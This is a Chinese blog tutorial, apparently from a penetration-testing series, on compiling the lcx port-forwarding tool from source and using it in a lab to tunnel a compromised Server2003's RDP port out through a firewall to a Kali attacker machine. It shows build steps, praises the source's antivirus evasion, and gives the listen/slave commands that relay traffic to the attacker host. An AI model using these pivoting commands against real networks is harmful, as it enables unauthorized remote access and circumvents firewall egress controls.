【内网流量操控技术八】lcx源码编译实现传输层流量转发


前言

lcx是基于socket技术编写的传输层协议下的端口转发工具,其出现已有十多年的历史,但其速度和稳定性至今仍然很好用,本文实验从github上下载的C++版本,一来通过源码编译在跨平台使用lcx,二来由于其源码修改进行了免杀处理,有很好的免杀效果。

一、下载编译

github下载源码地址https://github.com/windworst/LCX.git

1.linux下编译

git clone https://github.com/windworst/LCX.git
cd LCX
make
┌──(root💀kali20204)-[~/LCX]
└─# make
gcc lcx.c -o lcx -pthread -O2 
┌──(root💀kali20204)-[~/LCX]
└─# ls
lcx  lcx.c  Makefile  README.md

2.windows下编译

windows下我们使用CodeBlocks进行编译,首先新建一个project,将lcx.c源码复制到main.cpp文件中,将makefile添加一行PLATFORM=windows,放在project目录下。如果需要匿名,可以设置ANONYMOUS=1。修改后的Makefile文件如下:

ANONYMOUS=1
ifdef ANONYMOUS
	DFLAG=-DANONYMOUS
endif

CC=gcc
RM=rm
EXE=lcx
PLATFORM=windows

ifeq ($(PLATFORM), windows)
	WINDOWS_LIB=-lws2_32 -lwsock32
	RM=del
	EXE=lcx.exe
endif

FLAGS=-pthread -O2 $(WINDOWS_LIB) $(DFLAG)

all : lcx.c
	$(CC) lcx.c -o $(EXE) $(FLAGS)

command : lcx.c
	$(CC) lcx.c -o $(EXE) $(FLAGS) -DCOMMAND_MODE

clean :
	$(RM) $(EXE)

右键点击项目,Properties…–>Project settiongs–>This is a custom Makefile(勾选)。右键点击项目,Build options…–>Project build options–>“Make” commands选项中,删除所有的$target。然后build

-------------- Build: Debug in llcx (compiler: GNU GCC Compiler)---------------

Checking if target is up-to-date: mingw32-make.exe -q -f Makefile
Running command: mingw32-make.exe -f Makefile
gcc lcx.c -o lcx.exe -pthread -O2 -lws2_32 -lwsock32 
Process terminated with status 0 (0 minute(s), 2 second(s))
0 error(s), 0 warning(s) (0 minute(s), 2 second(s))

实际过程gcc运行命令行

gcc lcx.c -o lcx.exe -pthread -O2 -lws2_32 -lwsock32

二、实验环境

1.实验拓扑图

在这里插入图片描述

上图是一个最常见的DNAT网络环境,server2003作为web服务器,没有公网ip,而是通过防火墙端口映射到内网主机的80端口。因此,当我们通过webshell提权成功获得Server2003管理员权限后,如果需要通过3389登录,直接连接肯定是不行的,因为防火墙没有做内网3389的端口映射,此处最好使用lcx进行流量转发。将内网主机的3389端口流量转发到kali上来。

2.monowall配置DNAT端口映射

首先在Firewall–>Rules选项中填写DNAT规则,并勾选自动生成防火墙规则。

在这里插入图片描述
这里有一个坑,我翻了半天才明白,按理说NAT设置完成就可以了,可访问http://192.168.0.165:8888就是不通,最后发现是在Interface–>WAN选项下,有个ABC类私网地址的阻拦项,其默认是勾选上的,需要把勾选去掉。当然,如果我们内网地址使用1.1.1.10这样就不需要去掉了。
在这里插入图片描述

三、C/S命令

1.服务端(kali)

本地侦听4444端口,接收靶机转发来的3389流量,转发到本机的5555端口

./lcx -listen 4444 5555

2.客户端(server2003)

将本地访问的3389的流量,转发到kali攻击机(192.168.0.164)的4444端口

lcx.exe -slave 192.168.0.164 4444 127.0.0.1 3389

3.mstsc

在kali上,或者同局域网内mstsc访问192.168.0.164:5555端口,远程登录内网server2003成功。
在这里插入图片描述

4.本地端口映射

lcx -stran 53 目标ip 3389

总结

lcx是一个古老的内网流量转发工具,但在至今还具有相当的实战价值,我们掌握源码编译过程,不但能预防后门程序,还可以跨平台灵活使用。在有防火墙出网限制时,也可以从传输层绕过防护墙出站策略。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值